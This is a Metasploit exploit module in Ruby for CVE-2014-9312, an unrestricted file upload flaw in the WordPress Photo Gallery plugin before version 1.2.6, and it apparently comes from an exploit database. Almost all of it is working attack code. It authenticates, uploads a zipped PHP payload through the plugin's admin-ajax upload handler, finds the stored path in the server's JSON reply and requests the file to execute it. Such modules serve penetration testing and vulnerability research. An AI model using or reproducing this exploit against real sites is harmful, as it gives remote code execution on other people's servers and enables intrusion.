## # This module requires Metasploit: http://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/zip' require 'json' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::HTTP::Wordpress def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress Photo Gallery 1.2.5 Unrestricted File Upload', 'Description' => %q{Photo Gallery Plugin for WordPress contains a flaw that allows a remote attacker to execute arbitrary PHP code. This flaw exists because the photo-gallery\photo-gallery.php script allows access to filemanager\UploadHandler.php. The post() method in UploadHandler.php does not properly verify or sanitize user-uploaded files.}, 'License' => MSF_LICENSE, 'Author' => [ 'Kacper Szurek', # Vulnerability disclosure 'Rob Carr ' # Metasploit module ], 'References' => [ ['OSVDB', '117676'], ['WPVDB', '7769'], ['CVE', '2014-9312'], ['URL', 'http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html'] ], 'DisclosureDate' => 'Nov 11 2014', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['photo-gallery < 1.2.6', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [true, 'The username to authenticate with']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) ], self.class) end def check check_plugin_version_from_readme('photo-gallery', '1.2.6') end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def generate_mime_message(payload, name) data = Rex::MIME::Message.new zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) zip.add_file("#{name}.php", payload.encoded) data.add_part(zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"files\"; filename=\"#{name}.zip\"") data end def exploit print_status("#{peer} - Authenticating using #{username}:#{password}...") cookie = wordpress_login(username, password) fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? print_good("#{peer} - Authenticated with WordPress") print_status("#{peer} - Preparing payload...") payload_name = Rex::Text.rand_text_alpha(10) data = generate_mime_message(payload, payload_name) upload_dir = "#{Rex::Text.rand_text_alpha(5)}/" print_status("#{peer} - Uploading payload to #{upload_dir}...") res = send_request_cgi( 'method' => 'POST', 'uri' => wordpress_url_admin_ajax, 'vars_get' => { 'action' => 'bwg_UploadHandler', 'dir' => upload_dir }, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, 'cookie' => cookie ) fail_with(Failure::Unreachable, 'No response from the target') if res.nil? fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200 print_good("#{peer} - Uploaded the payload") print_status("#{peer} - Parsing server response...") begin json = JSON.parse(res.body) if json.nil? || json['files'].nil? || json['files'][0].nil? || json['files'][0]['name'].nil? fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') else uploaded_name = json['files'][0]['name'][0..-5] php_file_name = "#{uploaded_name}.php" payload_url = normalize_uri(wordpress_url_backend, upload_dir, uploaded_name, php_file_name) print_good("#{peer} - Parsed response") register_files_for_cleanup(php_file_name) register_files_for_cleanup("../#{uploaded_name}.zip") print_status("#{peer} - Executing the payload at #{payload_url}") send_request_cgi( { 'uri' => payload_url, 'method' => 'GET' }, 5) print_good("#{peer} - Executed payload") end rescue fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') end end end # Iranian Exploit DataBase = http://IeDb.Ir [2015-02-15]